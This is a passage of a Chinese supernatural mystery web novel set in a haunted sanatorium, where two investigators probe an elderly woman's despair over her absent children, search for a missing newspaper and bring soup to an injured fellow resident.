“刚才有只好大的蟑螂跑进房间了,我们怕吓到您二老,或者咬伤你们,所以才想把房间彻底清理一下,消消毒,维持一下疗养院的卫生。” 他说话间,还故意用脚尖将那只巨大的蟑螂往杨桂芬的方向踢了踢。 那油光锃亮的玩意儿在地上又翻滚了几下,离杨桂芬的脚尖不过两尺距离,更显得恶心。 跟在后面的徐林致见状,连忙上前一步,一本正经地开始了他的“科普”—— “杨阿婆,蟑螂这东西……携带的细菌非常多,对老年人的身体尤其不好……” “特别容易引发各种呼吸道疾病、肠道感染,甚至是一些更严重的并发症。” “我们这也是为了您二老的健康着想,这是疗养院关爱老人、负责任的表现,您可要多担待担待。” 这话一出。 杨桂芬本就因为愤怒而剧烈起伏的胸口,此刻更是堵得慌,一口气差点没提上来。 她气得脸都涨成了猪肝色,嘴唇哆嗦着,却偏偏被这两个家伙一唱一和,堵得一个字都骂不出来。 毕竟,这样冠冕堂皇的理由,她根本无法反驳。 难道说她喜欢和这么大的蟑螂同处一室? 杨桂芬只能死死瞪着那堆空盒子,眼神里充满了不甘和愤怒,握紧的拳头因为用力而指节发白。 胡文庭和胡文月脸上的笑容也淡了许多,变得有些僵硬。 他们的目光在宿珩、肖靳言以及那堆空盒子之间来回扫视,眼神中带着敌对和警惕,和一丝难以察觉的阴冷。 走廊里的气氛一时僵持到了极点。 就在这时,一直沉默的宿珩忽然抬起头。 目光平静地越过杨桂芬,看向她身后的胡文庭和胡文月,语气平淡地开口: “我看里面的盒子都空了,东西应该早就吃完或者用完了吧。” 他顿了顿,声音不高,却清晰地传入每个人耳中。 “是不是……您二老的儿女,已经很久没来看过你们了?” 这话像是一颗投入滚油的火星。 “你胡说八道些什么!” “文庭文月每周都会来!” 杨桂芬像是被踩了尾巴的猫,猛地尖叫起来,声音尖利刺耳,充满了被戳破谎言的恼羞成怒。 她之前强行压制下去的怒火,在这一刻彻底爆发。 一股浓郁到近乎实质的阴冷气息,以杨桂芬为中心,猛地向四周扩散开来。 宿珩清晰地感觉到。 那股熟悉的、令人窒息的绝望气息,如同潮水般扑面而来。 带着刺骨的寒意,直侵骨髓,狠狠压在他的胸口,让他呼吸一滞,胸口发闷。 整个走廊的光线,似乎都在这一瞬间暗淡了下去。 肖靳言长臂一伸,不动声色地将宿珩往自己身后一带。 高大的身躯仿佛一堵坚不可摧的高墙,替他隔绝了这股令人不适的气息。 宿珩胸口的窒闷感稍减,却慢慢拨开了他,往前站了一步,脸色仍有些微发白。 但他的眼神却异常平静,像一潭笼着雾的深潭。 他注视着刘晓花手里提着的各种礼盒,忍着喉咙的干哑,忽然淡淡笑了起来。 “杨阿婆,我没别的意思,您别生气。” “正好我也没吃早饭,您看……能不能给我块饼干吃?” “上次您要给我吃,盒子是空的。” “这回……总不能是空的吧?” 第53章 第 53 章 福山疗养院9 此言一出, 杨桂芬脸上的肌肉猛地一僵。 那股刚刚因为愤怒而涌起的阴冷气息似乎也随之一滞。 她恶狠狠地瞪了宿珩一眼,眼神像是要将他生吞活剥。 “这是我儿子女儿孝敬我的!你一个外人,凭什么吃?想都别想!” 她彻底收回了慈善的面目, 毫不留情地拒绝,尖锐的声音中带着一丝被冒犯后的刻薄。 宿珩敛回笑容。 杨桂芬深吸一口气,强压下心头的怒火, 但脸色依旧铁青难看。 她指着门口,对宿珩和肖靳言呵斥道:“你们赶紧给我走,别在这儿碍眼!我还要把这些东西重新收好呢!” 肖靳言闻言, 脸上露出一副假模假样的热心肠。 “杨阿婆, 这么多东西, 您一个人收拾也挺费劲的,要不我们帮您?” 话音未落, 杨桂芬一个阴冷至极的眼神便扫了过来,如同淬了冰的刀子,让肖靳言脸上的笑容微微一顿。 “不用你们假好心,滚!” 目的已经达到, 肖靳言也不再自讨没趣, 耸了耸肩, 给了宿珩一个眼神。 两人转身便朝楼梯口走去。 与他们擦肩而过的, 是拎着大包小包,正准备进202病房帮忙收拾的刘晓花。 肖靳言像是没站稳, 身体微微一晃,大长腿不经意地“撞”到了刘晓花拎着的一个最大的礼品袋上。 “哎哟!” 刘晓花被撞得一个趔趄, 手里的袋子差点脱手。 “不好意思啊。” 肖靳言漫不经心地道了句歉,眼神却飞快地在那袋子上一扫而过。 袋子晃动了一下,发出的声音很轻, 几乎没有什么分量感。 刘晓花不耐烦地瞪了他一眼,也顾不上计较,急匆匆地进了202病房,显然是急着去讨好杨桂芬。 宿珩和肖靳言下了楼,徐林致早已先下了一步,见他们下来,连忙迎了上来。 “怎么样?” 徐林致压低声音问。 肖靳言双手插在裤兜里,言简意赅地回了句:“空的。” 宿珩脸上没什么意外的表情,似乎这个结果早在他的预料之中。 他淡淡开口:“基本确定了,杨桂芬就是这扇心门的主人。” 经过这么一出刻意的刺激和试探。 杨桂芬对空盒子的看重,以及被戳破谎言后的剧烈反应,已经将她的身份昭然若揭。 肖靳言点了点头,摸着下巴分析道:“没错,不过,目前还有两个疑点没解开。” “一是昨天我在菜地里挖出来的那几块衣服碎片,到底是谁的,又为什么会埋在那里?” “二是胡旺祖之前一直在念叨的那张,被他藏起来的报纸。” 宿珩垂眸,似在思忖。 “202已经翻了个底朝天,那些空盒子也都检查过了,并没有找到任何报纸的踪迹。” 徐林致听到“报纸”两个字,忽然眼睛一亮,提议道:“对了,报纸这种东西,会不会放在疗养院的资料室里?一般单位的旧报纸旧文件,不都喜欢堆在那儿吗?” 宿珩闻言,不置可否,他觉得这种可能性不大。 如果报纸是胡旺祖特意藏起来的,按理说,不太会放在公共的资料室。 他反而看向肖靳言,问了另一个似乎毫不相干的问题:“你说,院长为什么会被吊死在办公室里?” 肖靳言沉吟片刻,眉宇间带着几分思索。 “要么,是他发现了什么不该发现的秘密,被灭了口……” “要么,就是他做了什么让杨桂芬无法原谅,甚至恨之入骨的事情。” “但具体是哪一种……不好说。” 宿珩默了瞬,眸光微动:“我想再回三楼,去院长办公室看看。” “行。”肖靳言毫不犹豫地应下,“我跟你一起去。” 他又看向徐林致:“徐医生,你不是说资料室吗?你去那里找找看有没有什么报纸。有什么发现,就叫我们。” “好……好的。” 徐林致点了点头,虽然对院长那具被吊死的尸体,他心里还是有点发毛,但事已至此,也只能硬着头皮上了。 三人回到三楼。 院长办公室那扇破烂的门依旧大敞着,里面的景象和他们上次离开时没什么两样。 那个穿着白大褂的干减肥影,仍旧孤零零地吊在吱呀作响的旧风扇上。 尸体已经开始发黑,肿胀。 腐败的恶臭扑面而来,比之前更加浓郁刺鼻,几乎让人窒息。 宿珩向肖靳言递了个眼神。 肖靳言会意,摸了摸鼻子,一副任劳任怨的表情。 他从裤腿摸出那柄通体漆黑的短刀,也不见他如何蓄力,脚尖在地上轻轻一点,整个人便如猎豹般纵身一跃。 手中短刀寒光掠过,精准地割断了那根充当绳索的皮带。 “噗通!” 院长的尸体直挺挺地从半空中掉落下来,砸在积满灰尘的水泥地上,发出沉闷的声响。 尸体已经完全僵硬,四肢呈现出一种诡异的扭曲,像是已经死了很久的样子。 宿珩捂着鼻子,强忍着那股几乎要冲破胸腔的恶臭,面不改色地再次示意肖靳言。 肖靳言叹了口气,似乎对宿珩指派他干这些“脏活累活”,已经习以为常。 他沉默地蹲下身,用短刀的刀尖,小心翼翼地挑开院长那件沾满尸水的衬衫口袋,以及他身上其他可能藏东西的地方。 可惜。 一番仔细搜寻下来,除了几张被揉皱的废纸和半包劣质香烟,并没有找到任何类似报纸的踪迹。 两人对视一眼,默契地退出了院长办公室。 看来东西并不在院长这里。 隔壁资料室的门大开着,里面传来一阵翻箱倒柜的窸窣声。 他们走进去。 只见徐林致正站在一堆杂乱的文件和蒙尘的旧物中间,脸上、头发上都沾了不少灰尘,正埋头在一堆旧报纸里费力地翻找着。 他脚边已经堆了厚厚一沓看起来有些年头的旧报纸。 宿珩随手拿起最上面的一份,抖开看了看。 报纸的纸张早已泛黄发脆,上面刊登的都是些十几年前的陈年旧事,大多是些无关紧要的社会新闻和政策宣传,没什么特殊价值。 徐林致抬起头,抹了把脸上的灰,表情有些泄气。 “不行啊,我把这里可能藏报纸的地方都找遍了,就找到这么几份旧报纸,日期也对不上,上面也没什么特别的内容。” 显然,胡旺祖要找的那份关键报纸,并不在这里。 肖靳言靠在门框上,并没有进去。 他沉吟了片刻,说:“看来,这条线索暂时断了。” 他看了一眼窗外依旧灰蒙蒙的天色,“现在急也没用,只能等晚上再说了。” 他有预感,今晚比起昨晚,恐怕会更不太平。 …… 徐林致抹了把脸,灰尘混着汗,留下几道滑稽的印子。 他从资料室里退出来,语气带着显而易见的颓丧。 “看来这里是没有了。” 宿珩却像是没听见,依旧站在那堆泛黄的旧报纸前。 他弯下腰,修长的手指捻起下一份报纸,快速翻阅着。 肖靳言看着他。 只见宿珩的动作越来越快,几乎是一目十行,但他看的似乎并不是报纸上的内容。 那双清冷的眸子,专注地扫过每一份报纸的版头和日期。 肖靳言眉峰微挑,像是意识到了什么。 他走到宿珩身边,也拿起一份报纸,目光落在报纸刊登的时间和期数上。 这些报纸堆叠在一起,看起来很齐全,每一期似乎都有。 但当宿珩将报纸一张张翻到大约七年前的时候,他的动作停顿了下来。 肖靳言的目光也随之凝住,他从宿珩手中抽过几份报纸,仔细核对着日期。 “七年前。”肖靳言沉声道,“这里,缺了11月份的第一期。” 宿珩终于放下了手中所有的报纸,他抬起头,目光沉静。 “院长办公室那份来访人员登记表上,胡文庭和胡文月,这两个名字最初出现的登记时间,就是七年前的11月。” 肖靳言赞同道:“看来,七年前的11月,福山疗养院里,一定发生了什么重要的事情,和胡文庭、胡文月有关,直接导致了当时的杨桂芬,濒临崩溃。” 宿珩微微蹙眉:“但为什么,心门直到最近,才彻底形成?” 语气稍顿,他继续说道:“如果七年前就已是绝望的开端,这七年间,又发生了什么?” 肖靳言沉吟道:“绝望和怨念,都是逐渐累积的。” “人就像一个容器,当负面情绪积累到一定程度,快要满溢出来的时候,就更容易被某些东西趁虚而入,或者说,更容易将内心深处的恐惧和执念,投射成现实。” 宿珩却轻轻摇了摇头,似乎并不完全认同这个说法。 “我觉得不止是这样。” 他抬手,按了按心脏的位置,那里似乎还残留着之前被杨桂芬的绝望气息冲击时的沉闷感。 肖靳言看着他,宿珩的脸色在晦暗的光线下显得有些苍白。 那双总是带着几分疏离的眸子,此刻却异常专注。 肖靳言知道,宿珩对这些负面情绪的感知,远比自己,甚至比任何清理师都要敏锐。 他顺着宿珩的思路问: “你觉得,还有其他事情,加速了这种绝望的累积,或者说,成为了压垮骆驼的最后一根稻草,直接促使了‘心门’的诞生?” 宿珩:“嗯。” 他从资料室走出来后,脑中忽然闪过201病房里宋倩那张泪痕未干的脸。 “宋倩……” 宿珩缓缓开口,“如果那张人员登记表上的内容无误的话,她从七年前开始,每周三都会来疗养院看望宋明丽……” “那么,她或许会知道些什么。” 肖靳言对此不置可否,他更实际地考虑到了另一个问题。 “宋倩现在的情绪很不稳定,而且对我们这些穿着护森*晚*整*理工服的人,抱有很强的敌意和不信任。” 他眉梢微挑,看向徐林致:“徐医生,这件事,恐怕还是需要你出面。” 徐林致微微一愣。 肖靳言继续说道:“毕竟,你是医生,上午又帮宋明丽处理了伤口,她对你的信任度,应该会比对我们高一些。” 这话说得合情合理。 徐林致明白这件事的重要性,他深吸一口气,郑重地点了点头:“我知道了,交给我吧。” 说完,他不再犹豫,转身便快步朝着楼下走去。 看着徐林致的身影消失在楼梯口,宿珩和肖靳言对视一眼,也转身离开了资料室。 二楼。 走廊的空盒子,已经被收拾得干干净净。 202病房的门紧紧闭着。 门内,隐约能听到杨桂芬的说笑声,间或夹杂着胡旺祖时不时发出的几声含混不清的咕哝。 那笑声听起来无比温馨,却在这阴冷压抑的疗养院里,透着一股说不出的诡异。 宿珩和肖靳言并没有在202门口过多停留,他们径直走到了203病房门前。 宿珩抬手敲了敲门。 里面没有任何回应。 肖靳言直接伸手推了推门,门并没有锁,而是虚掩着,轻轻一推便开了。 房间里空荡荡的,老根儿那张简陋的单人床空着,床底下那片熟悉的阴影里,也不见他蜷缩的身影。 他居然不在。 就在两人准备退出去的时候,走廊尽头的厕所方向,传来一阵轻微的冲水声。 紧接着,胡文庭从那间昏暗肮脏的公共厕所里走了出来。 他手里拿着一张雪白的纸巾,正仔细地擦拭着手指,脸上的表情依旧是那副温和有礼的模样。 只是—— 在看到宿珩和肖靳言时,他的眼神明显顿了一下。 胡文庭对着他们二人点了点头,算是打过招呼,脸上的神情却显得有些不太自在。 他没有多说什么,快步从两人身边走过,径直推开202的房门,走了进去。 宿珩的目光落在胡文庭消失的背影上,鼻子忽然轻轻皱了皱。 他压低声音,对身旁的肖靳言道:“他身上,有股血腥味。” 很淡,几乎微不可闻。 肖靳言“嗯”了声,眼神瞬间变得锐利起来,他显然也闻到了。 几乎在宿珩话音落下的同时。 肖靳言二话不说,迈开长腿,周身的气息陡然一沉,径自朝着厕所方向走去。 宿珩紧随其后。 厕所里光线昏暗,一股浓重的尿味,混合着铁锈的气息扑面而来。 只见角落里,老根儿蜷缩在冰冷的水泥地上,额角淌着鲜血,将他本就杂乱干枯的头发黏成一缕缕,狼狈不堪。 他双眼紧闭,脸色灰败,精神看起来十分恍惚,只剩下一丝微弱的呼吸。 肖靳言快步上前,蹲下身,伸手探了探老根儿的颈动脉。 “还有气,但很虚弱。” 肖靳言迅速翻看了他全身,除了头上那道正在渗血的伤口,身上倒是没有其他明显的外伤。 那伤口看起来像是被什么钝器砸过,皮开肉绽,好在似乎并不致命。 他沉声道:“只是皮外伤,没有性命之忧。” 宿珩的目光落在老根儿额头那道清晰的伤口上,不禁想到了刚刚从这里走出去的胡文庭。 “难道……是他干的?” 宿珩的语气带着一丝冷意。 就在这时,地上的老根儿似乎听到了他们的对话,眼皮艰难地颤动了几下,缓缓睁开了眼睛。 他看到宿珩和肖靳言,浑浊的眼珠里瞬间充满了惊恐。 “不……不是他……” 老根儿的声音嘶哑干涩,用手肘撑地,挣扎着想要从地上爬起来。 “是……是我自己……不小心摔的……” 他看着宿珩,眼神躲闪,语气却带着一种近乎神经质的肯定。 “这是……这是老天爷给我的惩罚……最好……最好能让我直接摔死在这里……” 说完,老根儿也不顾额头上还在流淌的鲜血,用尽全身力气,手脚并用地从地上爬了起来。 他踉踉跄跄地冲出厕所,看也不看宿珩和肖靳言一眼,跌跌撞撞地跑回了203病房。 “砰”的一声巨响。 房门被他从里面狠狠甩上,紧接着便传来了门锁落下的声音。 第54章 第 54 章 福山疗养院10 厕所外的走廊, 重新陷入死寂。 肖靳言盯着203紧闭的房门,眉头微拧:“他在说谎,也在害怕。” 宿珩的目光从门板上收回, 声音没什么起伏:“他怕的不是我们,是胡文庭。” 或者说,是胡文庭和胡文月代表的, 某种更深层的东西。 很有可能……就是他口中说的“怪物”。 空气中那股淡淡的血腥味尚未完全散去,混杂着疗养院特有的陈腐气味,令人心头沉甸甸的。 很快到了傍晚时分。 天色愈发阴沉, 像是要压下来一般。 疗养院一楼的食堂里, 光线昏暗。 肖靳言自行去寻找线索, 做饭的任务再次落在了宿珩身上。 他面无表情地系上一条灰扑扑的围裙,考虑到今天人数增多, 他特意从那个散发着寒气的旧冰柜里,拖出三只冻得硬邦邦的鸡。 “咚!——” 三只冻鸡被他依次砸在案板上。 宿珩拎起菜刀,正准备对着其中一只鸡的脖子砍下去。 食堂门口却在这时,传来了脚步声。 令人意外的是, 徐林致居然带着宋倩走了进来。 宋倩的脸色依旧苍白, 但眼神比之前在病房时清明了些许, 只是眉宇间仍带着一丝难以驱散的恍惚。 她能跟着徐林致从201病房出来, 显然,徐林致一下午的口舌没有白费, 她多少听进去了几分。 她的目光落在宿珩身上,以及他手中那把高高举起的菜刀上, 最后定格在案板上那三只姿势扭曲的冻鸡。 宋倩深吸一口气,走进后厨。 她似乎下定了某种决心,直接开门见山:“徐医生……他都跟我说了。” 声音还有些沙哑, 带着哭过的痕迹。 “七年前,我刚考上大学,学业很忙,实在没有精力照顾我妈。社区的工作人员建议我,把她送到这里来。” “我确实……每个星期三都会来看她。”宋倩的眼神黯淡下来,“但是,我一次都没有见过隔壁那对老夫妻的儿女,甚至好几次都没见过这对老夫妻了。” “但我记得杨阿婆,每次她看到我来,都会拉着我的手,对我妈说,说她有福气,羡慕她养了个孝顺的好女儿,让她好好珍惜。” “她的语气……充满了羡慕,现在想起来,甚至有些……嫉妒。” “哐!——” 宿珩手起刀落,一只鸡头应声而落,滚到案板边缘。 他头也没抬,动作利落地开始给鸡分尸,冰冷的刀锋划过冻硬的鸡肉,发出令人牙酸的摩擦声。 “杨桂芬那对儿女,你知道吗?” 宿珩的声音平静无波,仿佛只是随口一问。 鸡翅、鸡腿被他干净利落地斩下,丢进旁边的搪瓷盆里。 横飞的肉碎和冰碴溅得到处都是,有几点甚至落在了宋倩的裤脚上。 宋倩看着他那副熟练过头的“肢解”手法,眼皮控制不住地跳了跳,心惊肉跳地往后退了一小步。 她强忍着不适,摇了摇头:“不认识,从来没见过。” “我妈也从来不问,也不让我问,她说,那是别人家的家事,我们少打听。” 话说到这里,宿珩手中的动作顿了顿。 他差不多明白了。 宋明丽之所以会变成现在这副骨瘦如柴,几乎油尽灯枯的惨状,恐怕与杨桂芬脱不了干系。 七年前,杨桂芬在疗养院里,日复一日地看着每周都有孝顺女儿前来看望的宋明丽。 那种对比带来的刺激,在她本就因被儿女“抛弃”而滋生的绝望情绪影响下,羡慕渐渐演变成了强烈的嫉妒。 于是,在这扇由她绝望和执念构筑的“心门”里,杨桂芬便将那份嫉妒具象化,强行改变了宋明丽的境遇,让她比自己更惨,以此来获得某种病态的心理平衡。 可惜。 即便猜到了这一点,杨桂芬内心深处真正的秘密,那份让她绝望到形成“心门”的根源,依旧隐藏在重重迷雾之后。 知道真相的人,院长已经死了。 老根儿又疯疯癫癫,神志不清,根本问不出任何有用的东西。 宋明丽或许知道,但她现在那副样子,开口都难。 宿珩没再多问,低头继续安静地剁鸡。 考虑到他们三个从昨天下午开始就没怎么正经吃过东西,这次,他准备做得好一点。 至少,要让他们这些真正的“人”,也能下咽。 他将剁好的鸡块装进一个缺了口的搪瓷大盆里,端到水槽边,就着冰冷刺骨的自来水冲洗。 水流哗哗作响。 宿珩又从墙角那个积了灰的旧菜篮里,捡起一把蔫头耷脑的青菜。 他站在水龙头下,一根一根,仔仔细细地将菜叶上的泥土冲洗干净,每一个褶皱都不放过。 洗干净的青菜被他随手丢进了旁边另一个搪瓷盆里。 做完这一切,他拎着两盆食材,重新走回灶台边,将那口积着厚厚油垢的铁锅架在灶上。 然后,直接将那一大盆鸡块,“哗啦”一声,一股脑地倒进了锅里。 宋倩站在一旁,看着他这一连串堪称粗暴原始的“烹饪”步骤,从一开始的震惊,到后来的麻木,最后实在忍无可忍。 她深吸一口气,上前一步,指着那锅连水都没放多少,就开始干烧的鸡块,声音带着几分难以置信: “你……你确定你真的会做饭吗?” “如果不会的话,要不……还是我来吧?” 宿珩闻言,手上翻炒的动作一停,侧过头,那双没什么情绪的眸子淡淡地瞥了她一眼。 出乎宋倩和徐林致的意料。 宿珩居然真的放下了手中的锅铲,默默地解下了腰间的灰色围裙,随手搭在灶台边。 然后,他一言不发地从油腻腻的后厨走了出来,径直走到一张还算干净的餐桌旁坐下,一副准备坐等开饭的模样。 徐林致瞪大了眼睛,看看宿珩,又看看走进后厨的宋倩,表情有些茫然。 他还以为……宿珩这顿饭,又是做给刘晓花和杨桂芬他们那些“人”吃的。 没想到,居然不是? 宋倩走进后厨,首先映入眼帘的,便是那脏得几乎看不出原本颜色的灶台,以及墙壁上凝固的、厚厚一层油污。 空气中弥漫着一股难以言喻的怪味。 她嫌弃地皱了皱眉,先是找到一块还算干净的抹布,沾了水,将灶台和旁边的案板仔仔细细地擦拭了一遍。 然后,她又开始检查那些歪歪扭扭摆放在调料架上的瓶瓶罐罐。 盐是粗盐,颜色发黄。 酱油黑乎乎的,看不出牌子。 还有几瓶不知名的调料,有的已经过期,有的甚至长出了霉点。 宋倩将那些明显不能用的东西都挑了出来,扔进垃圾桶。 最后,她才深吸一口气,走到灶台前,将宿珩丢进锅里的那些鸡块和青菜重新捞了出来。 锅底刷干净,鸡块焯水,青菜另放。 一番忙碌,后厨里总算飘出了一点正常的饭菜香味。 …… 等到鸡汤的香味在简陋的食堂里弥漫开,咕嘟咕嘟的翻滚声也变得绵密时,徐林致主动站起身,在积了灰的碗柜里翻找起来。 他擦了擦手,从里面拿出四个搪瓷碗,碗边都有不同程度的磕碰和掉漆。 “碗筷我来洗。” 徐林致说着,走到水槽边。 宿珩坐在餐桌旁,闻着空气中那股与之前截然不同的食物香气,淡淡开口:“多拿一个。” 徐林致手上动作一顿,回头看了他一眼,脸上带着几分不解:“多拿一个?” 宿珩并未多做解释,只是用一种平静无波的语调,低低“嗯”了一声。 徐林致没多问,虽然疑惑,但还是从碗柜里又取出一个碗,五个碗摞在一起,开始在冰冷的水龙头下冲洗。 过了一会儿,食堂门口的光线倏然一暗。 肖靳言那高大挺拔的身影带着一股迫人的气势,迈步走了进来。 他宽阔的肩上沾了些灰,眉宇间带着一丝不易察觉的惋惜,显然在外面一番搜寻,并没有什么实质性的收获。 他翕动了几下鼻翼,空气中那股浓郁的鸡汤香味让他有些意外地挑了挑眉。 肖靳言的目光先是落在宿珩身上,刚想开口调侃一句“厨艺见长”,视线却被从后厨端着一口铁锅走出来的宋倩吸引。 他心中暗自庆幸,幸亏自己刚才没有急着开口。 否则,以宿珩那记仇的小性子,恐怕又得在小本本上记自己一笔,觉得自己在故意嘲讽他的厨艺不精。 宋倩将热气腾腾的铁锅小心地放在那张四人连椅桌中间的空位上,锅里是色泽诱人的鸡汤,上面还飘着几片青菜叶。 桌子一角,整齐地摆放着五只碗和五双筷子。 肖靳言眼底闪过一丝了然的笑意,看向宿珩的眼神多了几分深意。 这鸡汤,无论是从色泽还是香气,显然比宿珩之前做的那些“黑暗料理”要强上百倍。 “咕噜——” 徐林致的肚子很不争气地叫了一声,在安静的食堂里显得格外清晰。 他有些不好意思地摸了摸肚子,干咳一声:“从被卷入这里到现在,我就吃了一块巧克力,早就饿了……” 宋倩将锅盖揭开,一股更浓郁的香气扑面而来。 她拿起汤勺,先给徐林致盛了一碗:“徐医生,你先吃。” 然后又依次给宿珩和肖靳言盛好。 大家确实都饿了,尤其是徐林致,端起碗便小心地吹了吹,迫不及待地喝了一小口。 宿珩小口小口地慢慢喝着汤,姿态依旧从容。 这时,食堂门口,刘晓花的身影探头探脑地晃了进来。 她鼻子用力嗅了嗅,然后走到桌边,伸出手在面前夸张地扇了扇。 “啧,今天这汤闻着怎么没昨天香啊?” 刘晓花不满地撇了撇嘴,语气里带着一丝挑剔。 肖靳言端起自己的碗,嘴角勾起一抹似笑非笑的弧度,看向她:“刘护工,要不要来一碗尝尝?” 刘晓花闻言,立刻嫌弃地摆了摆手,往后退了一步。 “不用了,我下午在杨阿姨那里已经吃过点心了,现在还饱着呢。” 她像是想起了什么,又板起脸,对着他们提醒道: “对了,记住啊,晚上七点以后,都给我老老实实待在房间里,别到处乱跑,惊扰到其他病人休息,听见没有?” 撂下这番警告,她也不等回答,转身便扭着腰,不耐烦地走了。 宿珩只喝了一碗便放下了筷子。 肖靳言倒是胃口不错,接连干了两大碗,还吃了好几块鸡肉。 宋倩依旧心事重重,没什么胃口,只喝了小半碗。 徐林致倒是胃口极佳,一连喝了好几碗,才抹了把嘴,心满意足地放下碗筷。 一锅鸡汤,很快就见了底。 只剩下小半锅汤水和一些零星的鸡块,不过剩下了一只鸡腿,谁也没动。 宿珩站起身,拿起徐林致刚刚多拿出来的那个空碗。 他拿起汤勺,将锅底剩下的大半汤水都倒进了那只空碗里,又特意从里面挑出鸡腿,一同放进碗中。 做完这一切,他端起那碗汤,转身便朝食堂门口走去。 “你去哪儿?” 徐林致抬头看见宿珩的动作,下意识地问道。 肖靳言姿态闲散地靠在椅背上,目光追随着宿珩的背影,淡淡开口:“去给203送饭。” 徐林致闻言,心中瞬间了然。 同时,一种莫名的羞赧感涌上心头。 明明这里不止他们四个真正意义上的“活人”,可他却像是完全忽略了那个在恐惧中挣扎的可怜人。 宿珩端着那碗冒着热气的鸡汤,脚步沉稳。 走廊里的光线已经很暗了,离刘晓花所说的七点,只剩下最后十几分钟。 他的步伐不疾不徐,碗里的汤水随着他的走动微微晃荡,却一滴也没有洒出来。 宿珩走到203病房门口,抬手,轻轻敲了敲那扇斑驳的木门。 “吃饭了。” 他的声音不高,清晰地传入房内。 房间里起初没有任何动静,死一般的寂静。 过了片刻,一阵窸窸窣窣的轻微摩擦声,从门后传来,像是有人从床底下费力地爬了出来。 紧接着,门板被小心翼翼地拉开了一条极细的缝隙。 老根儿那张布满污垢的脸出现在门缝后。 他额角那道伤口已经不再流血,凝固的污褐色血迹沾着他干枯杂乱的头发,让他看起来更加狼狈。 他警惕地看着宿珩,以及宿珩手中那碗散发着诱人香气的鸡汤。 宿珩没有说话,只是将手中的碗,慢慢地递了过去。 老根儿浑浊的眼珠动了动,犹豫了片刻,最终还是伸出那只瘦骨嶙峋、指甲缝里满是黑泥的手,颤抖着接过了碗。 他将碗凑到嘴边,先是谨慎地、试探性地喝了一小口。 鸡汤的温热和鲜美瞬间在口腔中弥漫开来。 下一秒,老根儿像是喝到了什么毕生难求的琼浆玉液一般,眼睛猛地瞪大了。 他不再犹豫,抱着那只搪瓷碗,仰起头,大口大口地吞咽起来。 “咕咚咕咚”的吞咽声在寂静的走廊里显得格外清晰。 汤水顺着他的嘴角流下,他也毫不在意,只是贪婪地喝着。 直到将碗里的汤喝了大半,他才像是突然发现了什么,吞咽的动作猛地一顿。 他低头看着碗里,那只还完整地浸在汤里的鸡腿,黄澄澄的鸡皮泛着油光。 老根儿抬起头,难以置信地看着宿珩,干裂的嘴唇哆嗦着,声音沙哑地问:“这……这鸡腿……是……是给我的?” 宿珩:“嗯。” 他没有趁机追问任何关于胡文庭或者怪物的事情,只是淡淡地看了老根儿一眼,随后便转过身,迈步离开了。 老根儿双手紧紧捧着那碗还温热的鸡汤,呆呆地站在门后。 他看着宿珩逐渐远去,慢慢融入昏暗走廊的背影。 一股极其陌生的情绪,在他那早已麻木干涸的心湖中,悄然泛起了一丝涟漪。 带着一丝久违的,几乎被他遗忘的暖意。 第55章 第 55 章 福山疗养院11 宿珩回到一楼护工房时, 肖靳言正坐在那张吱嘎作响的铁架床沿上。 他手里拿着一块不知从哪里捡来的,边缘粗糙的铁片,正不紧不慢地磨着那柄通体漆黑的短刀。 铁片与刀刃摩擦, 发出细微而规律的“沙沙”声,在这间充斥着霉味的昏暗房间里,有一种奇异的安抚感。 见宿珩进来, 肖靳言掀了掀眼皮,磨刀的动作未停,嘴角却勾起一抹弧度。 “怎么样, 你亲自送汤过去, 老根儿是不是很感动?” 宿珩淡淡“嗯”了一声, 走到另一边的床铺坐下。 “可能吧。” 话音刚落,肖靳言忽然像块甩不掉的狗皮膏药似的, 从他那张床挪了过来,挨着宿珩紧紧坐下。 铁架床因为承受了两个人的重量,发出一阵更响亮的呻/吟。 “哎,我问你个事……” 肖靳言侧过头, 目光灼灼地看着宿珩, 压低了声音, 带着几分不正经的笑意。 “什么情况下, 你会主动给我送饭?” 宿珩被他突如其来的靠近弄得有些不自在,身体几不可察地往旁边挪了挪, 试图避开他身上那股带着淡淡烟草味和侵略性的微热气息。 “等你躺病床上的时候。” 宿珩的回答一如既往的冷淡,不带丝毫波澜。 肖靳言被噎了一下, 摸了摸鼻子,顿时有些无语,随即又莫名其妙笑了起来。 他也不回自己那张床, 干脆收了刀,往宿珩床上一躺,那双惹眼的大长腿舒展开,双手枕在脑后,一副赖定了的架势。 “行吧,这张床好像更舒服,今晚我就睡这儿了。” 宿珩瞥了他一眼,没理会他这无赖行径,径自起身,走到肖靳言之前睡的那张床边坐下,动作间带着一丝无奈。 肖靳言看着他,低低地笑了起来,那笑声在昏暗的房间里带着几分说不清的意味。 就在这时—— “啪!” 头顶那盏本就昏黄的白炽灯,在晚七点时,准时熄灭。 整个房间刹那间被一股浓稠的黑暗吞噬,伸手不见五指。 和昨晚一样,窗外的灰蒙天光,也再次变成了纯粹的漆黑,连一丝光亮都透不进来。 宿珩对此早有预料,只是眼睫微微动了一下。 不等他拿出手机打开手电筒。 一阵令人毛骨悚然的窸窣声,紧接着便准时从门外死寂的走廊传来。 “沙沙……沙沙……” 但这次的声音,明显不同于昨晚那种轻微的脚步声,也并非人类能发出的动静。 那声音沉重而黏腻,反而更像是…… 有什么沉重的东西,正拖着身体在水泥地上缓慢爬行,摩擦着地面。 那声音越来越近,越来越清晰。 宿珩迅速打开了手机手电筒,微弱的光束驱散了眼前的黑暗,照亮了房间一角。 肖靳言不知何时已经从床上坐起,那柄短刀悄无声息地滑入掌心,他敏捷地挪到了门边,神情严肃。 他拿起宿珩之前靠在门边的那根钢管,反手递了过去。 宿珩接过钢管,入手的感觉却和之前有些不同。 他借着手机光亮一看—— 发现钢管的顶端,不知什么时候竟被削得异常尖锐,磨出了锋利的刃口,在微弱的光线下闪着幽幽的寒光,俨然成了一件简陋却致命的武器。 这手笔,一看就知道是肖靳言做的。 宿珩握着钢管的手指紧了紧。 奇怪的是—— 门外那拖拽身体的摩擦声,在靠近护工房门口时,并没有像昨晚那样停下,反而像是径直从门边路过,没有做出任何其他举动,转而继续朝着楼道深处去了。 声音渐渐远了一些。 “我出去看看。” 肖靳言压低了声音,握紧了门把。 “一起去。” 宿珩却摇了摇头,声音虽轻,却带着一丝不容拒绝的坚持。 肖靳言深深地望了他一眼,见他神色认真,眸光在黑暗中清亮,只好沉声道:“那你跟紧我。” 宿珩“嗯”了一声。 两人一前一后,悄无声息地挪出了护工房,融入一片漆黑之中。 走廊里伸手不见五指,手机手电筒的光束在这种环境下太过惹眼,更容易暴露。 宿珩果断熄灭了手机屏幕。 